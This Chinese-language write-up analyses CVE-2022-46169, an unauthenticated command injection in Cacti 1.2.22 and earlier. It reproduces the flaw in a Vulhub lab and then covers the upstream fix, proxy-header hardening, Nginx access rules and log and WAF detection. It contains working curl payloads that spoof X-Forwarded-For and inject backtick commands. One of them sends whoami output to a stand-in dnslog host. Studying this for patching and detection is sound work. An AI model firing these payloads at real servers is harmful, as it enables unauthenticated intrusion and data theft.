1. 漏洞概述
CVE-2022-46169(GHSA-6p93-p743-35gf)是 Cacti remote_agent.php 的未认证命令注入(Stefan Schiller、Steven Seeley 发现,2022-12 披露):无需账号、一个请求即可用 www-data 权限执行命令,野外常用来投递挖矿木马。
| 项目 | 内容 |
|---|---|
| CVE | CVE-2022-46169(GHSA-6p93-p743-35gf) |
| 漏洞类型 | 认证绕过 + 命令注入(未认证 RCE) |
| 影响版本 | 1.2.22 及更早(即 < 1.2.23) |
| 修复版本 | 1.2.23 |
| CVSS | 9.8(Critical,NVD CVSS v3.1) |
| 触发条件 | 存在 action=2(POLLER_ACTION_SCRIPT_PHP)类型 poller_item 的数据源 |
⚠️ 版本坑:NVD 的 CPE 范围是
versionEndExcluding: 1.2.23,即 1.2.22 是最后一个受影响版本(“修复于 1.2.22”不准确)。1.2.22 与 1.2.16 的remote_agent.php逐字节相同,修复 commit 归入 1.2.23;Vulhub 镜像就是 1.2.22,照样能打。
2. 漏洞原理
两个独立缺陷组合,缺一不可:
- 认证绕过:“仅允许 poller 访问”的校验依赖
get_client_addr(),而它完全信任 HTTP 头,可伪造。 - 命令注入:
polldataaction 的poller_id未过滤,直接拼进proc_open()命令串。
先看认证部分(Cacti 1.2.16 lib/functions.php):
function get_client_addr($client_addr = false) {
$http_addr_headers = array(
'X-Forwarded-For', // ← 排第一,最先被采用
'X-Client-IP',
'X-Real-IP',
'X-ProxyUser-Ip',
'CF-Connecting-IP',
'True-Client-IP',
'HTTP_X_FORWARDED',
'HTTP_X_FORWARDED_FOR',
'HTTP_X_CLUSTER_CLIENT_IP',
'HTTP_FORWARDED_FOR',
'HTTP_FORWARDED',
'HTTP_CLIENT_IP',
'REMOTE_ADDR', // ← 真实来源地址反而排最后
);
$client_addr = false;
foreach ($http_addr_headers as $header) {
if (!empty($_SERVER[$header])) {
$header_ips = explode(',', $_SERVER[$header]);
foreach ($header_ips as $header_ip) {
if (!empty($header_ip)) {
if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {
...
} else {
$client_addr = $header_ip; // 第一个非空且合法的 IP 直接采用
break;
}
}
}
}
}
return $client_addr;
}
remote_client_authorized() 把取到的 IP 反解成主机名,与 poller 表里的 poller 主机名比对;默认安装 poller 的 hostname 是 localhost,gethostbyaddr('127.0.0.1') 恰好返回它。
注入点(1.2.16/1.2.22 的 poll_for_data()):
$local_data_ids = get_nfilter_request_var('local_data_ids');
$host_id = get_filter_request_var('host_id');
$poller_id = get_nfilter_request_var('poller_id'); // ← 未过滤,原样取值
...
case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */
if (function_exists('proc_open')) {
$cactiphp = proc_open(read_config_option('path_php_binary')
. ' -q ' . $config['base_path']
. '/script_server.php realtime ' . $poller_id, // ← 直接拼进命令
$cactides, $pipes);
...
}
proc_open() 的字符串形式走 /bin/sh -c,$poller_id 里的反引号、;、|、$() 都会被 shell 解释;而它来自 get_nfilter_request_var()——无过滤。
3. 认证绕过:X-Forwarded-For 头欺骗
get_client_addr() 遍历头列表”先到先得”,请求里带上:
X-Forwarded-For: 127.0.0.1
就返回 127.0.0.1(真实 REMOTE_ADDR 被无视,循环在 X-Forwarded-For 处 break),随后反解为 localhost 与 poller 表默认值匹配,认证通过;X-Forwarded-For: 127.0.0.1, 8.8.8.8 同样有效(只取第一个 IP)。
不带伪造头直接被拒:
# 无 X-Forwarded-For:认证被拒
$ curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=1'
FATAL: You are not authorized to use this service
# 带上 X-Forwarded-For: 127.0.0.1:认证通过,返回 JSON
$ curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=1' \
-H 'X-Forwarded-For: 127.0.0.1'
[{"value":"U","rrd_name":"uptime","local_data_id":"6"}]
4. 命令注入 Payload
经典 PoC 来自 Vulhub,用反引号包裹命令(+ 会被解码为空格):
# 盲注验证:touch 一个文件
curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`' \
-H 'X-Forwarded-For: 127.0.0.1'
注意:整条 URL 用单引号包裹,bash 不会执行反引号;query 里的空格用 + 编码,反引号无需编码。
执行 id / whoami 并回读(盲注,输出不在响应里,先落盘再从容器读):
# 执行 id,输出重定向到 /tmp/pwned(注意 > 后也要用 + 编码空格)
curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`id>+/tmp/pwned`' \
-H 'X-Forwarded-For: 127.0.0.1'
# 在靶场容器里读取执行结果
docker exec $(docker compose ps -q web) cat /tmp/pwned
# 输出示例:uid=33(www-data) gid=33(www-data) groups=33(www-data)
;、|、$() 等同样可用。无回显时常用两种确认方式:写文件后二次读取(如上)或 DNSlog / OOB 外带:
curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`curl+http://your-dnslog.ceye.io/$(whoami)`' \
-H 'X-Forwarded-For: 127.0.0.1'
5. 复现过程
5.1 起靶场(Vulhub)
git clone https://github.com/vulhub/vulhub.git
cd vulhub/cacti/CVE-2022-46169
docker compose up -d
Compose 里是 vulhub/cacti:1.2.22(含漏洞)+ mysql:5.7,Web 端口映射到本机 8080,访问后是 Cacti 登录页。
5.2 初始化 + 准备可利用的数据源
- 用默认账号
admin/admin登录; - 跟初始化向导 Next 到底,完成建库建表;
- 关键:新建图形、类型选 “Device - Uptime”(默认图形类型触发不了注入,必须有
POLLER_ACTION_SCRIPT_PHP类型数据源)。
注入前提:host_id + local_data_ids 对应一条 action = 2(POLLER_ACTION_SCRIPT_PHP)的 poller_item。默认主机 host_id=1(Local Linux Machine),建 “Device - Uptime” 生成的数据源中 local_data_ids[0]=6 恰好命中。
不确定 ID 组合时,Metasploit 模块(exploit/linux/http/cacti_unauthenticated_cmd_injection)暴力枚举 host_id 15 × 100,响应为非空 JSON 数组(含 local_data_id 1value / rrd_name / local_data_id 三键)即候选。
5.3 打
# 无 X-Forwarded-For → FATAL 拒绝(对照组)
curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=1'
# 带 X-Forwarded-For → 命令注入执行 touch /tmp/success
curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`' \
-H 'X-Forwarded-For: 127.0.0.1'
# 容器内确认文件已创建
docker exec $(docker compose ps -q web) ls -l /tmp/success
# -rw-r--r-- 1 www-data www-data 0 ... /tmp/success
响应体看不到命令输出(Vulhub 原文 “Although no command result in the response”),但 /tmp/success 被 touch 出来了——盲注 RCE 成立;拿到 shell 后照常反弹、提权、横向。
6. 修复
6.1 升级版本(根治)
升级到 1.2.23 或更高。修复 commit(b43f13ae,2022-12-05 合入)改了三处:
remote_agent.php:$poller_id改用get_filter_request_var()做数字校验,proc_open()前用cacti_escapeshellarg($poller_id)转义——注入点封死;run_remote_discovery()的network参数同样加cacti_escapeshellarg();get_client_addr()重构,引入$proxy_headers配置项,不再无条件信任代理头。
6.2 收紧 get_client_addr(1.2.23+ 仍需手动配置)
升级后默认仍”信任所有已知代理头”(向后兼容,会打 WARNING 日志提示未来默认 false)。务必在 include/config.php 显式设置:
// false:只信任 REMOTE_ADDR(推荐)
// true:信任所有代理头(不推荐)
// 数组:仅信任列出的头,如 array('X-Forwarded-For')
$proxy_headers = false;
即使伪造 X-Forwarded-For 也只会返回 $_SERVER['REMOTE_ADDR'],认证绕过失效。
6.3 访问控制(纵深防御)
remote_agent.php 本是给 poller 调用的内部接口,应只对 poller 开放:
# Nginx 层限制:只允许 poller 服务器访问
location ~ ^/remote_agent\.php$ {
allow 10.0.0.10; # 替换为实际 poller 服务器 IP
deny all;
# 反代场景下统一覆盖伪造头,杜绝 XFF 注入
proxy_set_header X-Forwarded-For $remote_addr;
}
网络层只放行 poller IP 访问 80/443。不要全局拦 X-Forwarded-For——反代/WAF 会合法附加该头;正确做法是应用只信任 REMOTE_ADDR(见 6.2)。
6.4 检测
- 失败尝试:
cacti.log记Unauthorized remote agent access attempt from xxx - 成功绕过:DEBUG 日志
Using remote client IP Address found in header (X-Forwarded-For) - WAF 规则盯
remote_agent.php+poller_id里的反引号、;、|、$()
小结
CVE-2022-46169 = “信任客户端可控头 + 危险函数未过滤参数”:X-Forwarded-For: 127.0.0.1 绕过 IP 弱认证,未转义的 poller_id 直达 proc_open(),拼出未认证 RCE。排查先看版本(1.2.22 及更早全中招),再看 $proxy_headers。